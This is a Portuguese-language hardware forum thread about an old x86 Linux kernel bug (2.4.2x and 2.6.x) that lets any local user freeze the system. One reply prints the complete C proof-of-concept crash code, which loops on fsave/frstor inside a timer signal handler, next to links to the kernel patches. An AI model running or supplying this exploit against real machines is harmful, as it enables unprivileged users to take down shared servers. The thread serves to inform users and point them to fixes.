Ir ao conteúdo
  • Cadastre-se
Entre para seguir isso  
Sl4ck

Código Pode Ser Usado Para Travar Kernel Do Linux

Recommended Posts

Código pode ser usado para travar kernel do Linux

Uma falha recém-descoberta permite que um simples programa em C (linguagem de programação) trave o kernel do Linux, bloqueando toda a atividade do sistema operacional. O bug atinge as versões do kernel desenvolvidas para a arquitetura x86, ou seja, usada por computadores equipados com processadores da AMD ou da Intel.

De acordo com o site "linuxreviews"versões afetadas são as 2.4.2.x e 2.6.x. O site diz ainda que alguns kernels não são vulneráveis, apesar de o motivo não ser conhecido.

A falha também chama a atenção pois pode ser ativada por qualquer usuário que tenha acesso à linha de comando do Linux. Ele não precisa ter privilégios de administrador.

O código tem sido usado para tirar do ar vários servidores. Correções para alguns kernels já foram liberadas e podem ser encontradas no "linuxreviews". Os usuários também podem aproveitar espaço para buscar mais informações.

<div class='bbimg'>%7Boption%7Dhttp://www.gbenko.pro.br/eduardo/eyes.jpg' border='0' alt='Imagem postada pelo usuário' /></div>

Compartilhar este post


Link para o post
Compartilhar em outros sites
Visitante

acabei de atualizar meu atual kernel (2.6.0) e o meu kernel de testes (2.6.4), ambos do sistema reserva. os kernéis do Debian, do Slack, do Mandrake e do Kurumin eu ajeito outro dia

bigadaum cara!!

falou!!

Compartilhar este post


Link para o post
Compartilhar em outros sites

Só para facilitar e documentar nesse fórum.. ;-)

O famoso código que trava tudo é:

  #include <sys/time.h>
 #include <signal.h>
 #include <unistd.h>
 
 static void Handler(int ignore)
 {
  char fpubuf[108];
  __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
  write(2, "*", 1);
  __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
 }
 
 int main(int argc, char *argv[])
 {
  struct itimerval spec;
  signal(SIGALRM, Handler);
  spec.it_interval.tv_sec=0;
  spec.it_interval.tv_usec=100;
  spec.it_value.tv_sec=0;
  spec.it_value.tv_usec=100;
  setitimer(ITIMER_REAL, &spec, NULL);
  while(1)
   write(1, ".", 1);
 
  return 0;
 }

Patch for 2.4.2x Kernels, x86 and x86_64

(The Right) Patch for 2.4.2x, x86:

http://linux.bkbits.net:8080/linux-2.4/gnu...96HA5Q7r9uDRvJQ

Patch for 2.6.xx Kernels, x86 and x86_64

Patch for 2.6.x, x86:

http://linux.bkbits.net:8080/linux-2.6/gnu...mfUx3PVJBWei0Hw

Compartilhar este post


Link para o post
Compartilhar em outros sites

Crie uma conta ou entre para comentar

Você precisar ser um membro para fazer um comentário

Criar uma conta

Crie uma nova conta em nossa comunidade. É fácil!

Crie uma nova conta

Entrar

Já tem uma conta? Faça o login.

Entrar agora
Entre para seguir isso  





Sobre o Clube do Hardware

No ar desde 1996, o Clube do Hardware é uma das maiores, mais antigas e mais respeitadas publicações sobre tecnologia do Brasil. Leia mais

Direitos autorais

Não permitimos a cópia ou reprodução do conteúdo do nosso site, fórum, newsletters e redes sociais, mesmo citando-se a fonte. Leia mais

×